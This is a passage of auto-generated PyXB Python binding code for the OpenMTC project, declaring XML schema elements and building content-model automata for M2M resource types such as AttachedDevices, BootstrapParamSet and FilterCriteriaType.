pyxb.namespace.ExpandedName(Namespace, u'mgmtObjsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd', 17, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(AttachedDevice._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd', 18, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) AttachedDevice._Automaton = _BuildAutomaton_16() AttachedDevices._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'attachedDeviceCollection'), NamedReferenceCollection, scope=AttachedDevices, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd', 23, 4))) AttachedDevices._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=AttachedDevices, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) AttachedDevices._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=AttachedDevices, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) AttachedDevices._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=AttachedDevices, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) AttachedDevices._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'), pyxb.binding.datatypes.anyURI, scope=AttachedDevices, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76, 4))) AttachedDevices._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'mgmtObjsReference'), pyxb.binding.datatypes.anyURI, scope=AttachedDevices, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 84, 4))) def _BuildAutomaton_17(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_17 del _BuildAutomaton_17 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd', 12, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd', 13, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd', 14, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd', 17, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd', 18, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd', 19, 12)) counters.add(cc_5) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(AttachedDevices._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(AttachedDevices._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(AttachedDevices._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd', 14, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(AttachedDevices._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'attachedDeviceCollection')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd', 17, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(AttachedDevices._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd', 18, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(AttachedDevices._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'mgmtObjsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevices.xsd', 19, 12)) st_5 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_5) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_5, True)])) st_5._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) AttachedDevices._Automaton = _BuildAutomaton_17() BootstrapParamSet._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'sclIdList'), AnyURIList, scope=BootstrapParamSet, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd', 23, 4))) BootstrapParamSet._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'sclId'), pyxb.binding.datatypes.anyURI, scope=BootstrapParamSet, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 220, 4))) BootstrapParamSet._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'securityM2MNodeId'), STD_ANON_, scope=BootstrapParamSet, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd', 6, 4))) BootstrapParamSet._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'securityKmrIndex'), pyxb.binding.datatypes.unsignedInt, scope=BootstrapParamSet, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd', 14, 4))) BootstrapParamSet._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'securityLifetime'), pyxb.binding.datatypes.dateTime, scope=BootstrapParamSet, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd', 16, 4))) BootstrapParamSet._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'securityMasFqdn'), pyxb.binding.datatypes.anyURI, scope=BootstrapParamSet, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd', 18, 4))) BootstrapParamSet._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'securityEncryptedM2MKey'), STD_ANON_2, scope=BootstrapParamSet, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd', 20, 4))) def _BuildAutomaton_18(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_18 del _BuildAutomaton_18 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd', 16, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd', 17, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd', 18, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd', 19, 12)) counters.add(cc_3) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(BootstrapParamSet._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'securityM2MNodeId')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd', 13, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = None symbol = pyxb.binding.content.ElementUse(BootstrapParamSet._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'securityKmrIndex')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd', 14, 12)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() symbol = pyxb.binding.content.ElementUse(BootstrapParamSet._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'securityLifetime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd', 15, 12)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(BootstrapParamSet._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'securityMasFqdn')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd', 16, 12)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(BootstrapParamSet._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'securityEncryptedM2MKey')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd', 17, 12)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(BootstrapParamSet._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'sclId')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd', 18, 12)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(BootstrapParamSet._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'sclIdList')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/bootstrapParamSet.xsd', 19, 12)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False)])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, True)])) st_6._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) BootstrapParamSet._Automaton = _BuildAutomaton_18() SearchStrings._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'searchString'), pyxb.binding.datatypes.string, scope=SearchStrings, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 28, 4))) def _BuildAutomaton_19(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_19 del _BuildAutomaton_19 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 22, 12)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(SearchStrings._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'searchString')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 22, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) SearchStrings._Automaton = _BuildAutomaton_19() FilterCriteriaType._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'ifModifiedSince'), pyxb.binding.datatypes.dateTime, scope=FilterCriteriaType, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 34, 12))) FilterCriteriaType._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'ifUnmodifiedSince'), pyxb.binding.datatypes.dateTime, scope=FilterCriteriaType, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 36, 12))) FilterCriteriaType._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'ifNoneMatch'), pyxb.binding.datatypes.string, scope=FilterCriteriaType, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 38, 12))) FilterCriteriaType._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'attributeAccessor'), pyxb.binding.datatypes.anyURI, scope=FilterCriteriaType, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 40, 12))) FilterCriteriaType._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'searchString'), pyxb.binding.datatypes.string, scope=FilterCriteriaType, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 41, 12))) FilterCriteriaType._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'createdAfter'), pyxb.binding.datatypes.dateTime, scope=FilterCriteriaType, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 43, 12))) FilterCriteriaType._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'createdBefore'), pyxb.binding.datatypes.dateTime, scope=FilterCriteriaType, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 45, 12))) def _BuildAutomaton_20(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_20 del _BuildAutomaton_20 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1L, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 34, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1L, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 36, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 38, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 41, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1L, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 43, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=1L, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 45, 12)) counters.add(cc_5) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(FilterCriteriaType._UseForTag( pyxb.namespace.ExpandedName(None, u'ifModifiedSince')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 34, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = None symbol = pyxb.binding.content.ElementUse(FilterCriteriaType._UseForTag( pyxb.namespace.ExpandedName(None, u'ifUnmodifiedSince')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 36, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = None symbol = pyxb.binding.content.ElementUse(FilterCriteriaType._UseForTag( pyxb.namespace.ExpandedName(None, u'ifNoneMatch')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 38, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() symbol = pyxb.binding.content.ElementUse(FilterCriteriaType._UseForTag( pyxb.namespace.ExpandedName(None, u'attributeAccessor')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 40, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(FilterCriteriaType._UseForTag( pyxb.namespace.ExpandedName(None, u'searchString')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 41, 12)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(FilterCriteriaType._UseForTag( pyxb.namespace.ExpandedName(None, u'createdAfter')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 43, 12)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(FilterCriteriaType._UseForTag( pyxb.namespace.ExpandedName(None, u'createdBefore')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 45, 12)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False)])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, True)])) st_6._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) FilterCriteriaType._Automaton = _BuildAutomaton_20() AnyURIList._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'reference'), pyxb.binding.datatypes.anyURI, scope=AnyURIList, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 53, 12))) def _BuildAutomaton_21(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_21 del _BuildAutomaton_21 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 53, 12)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse( AnyURIList._UseForTag(pyxb.namespace.ExpandedName(None, u'reference')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 53, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) AnyURIList._Automaton = _BuildAutomaton_21() AnnounceTo._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'activated'), pyxb.binding.datatypes.boolean, scope=AnnounceTo, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 68, 4))) AnnounceTo._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'sclList'), AnyURIList, scope=AnnounceTo, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 69, 4))) AnnounceTo._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'global'), pyxb.binding.datatypes.boolean, scope=AnnounceTo, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 70, 4))) def _BuildAutomaton_22(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_22 del _BuildAutomaton_22 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 62, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 64, 12)) counters.add(cc_1) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(AnnounceTo._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'activated')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 62, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(AnnounceTo._UseForTag( 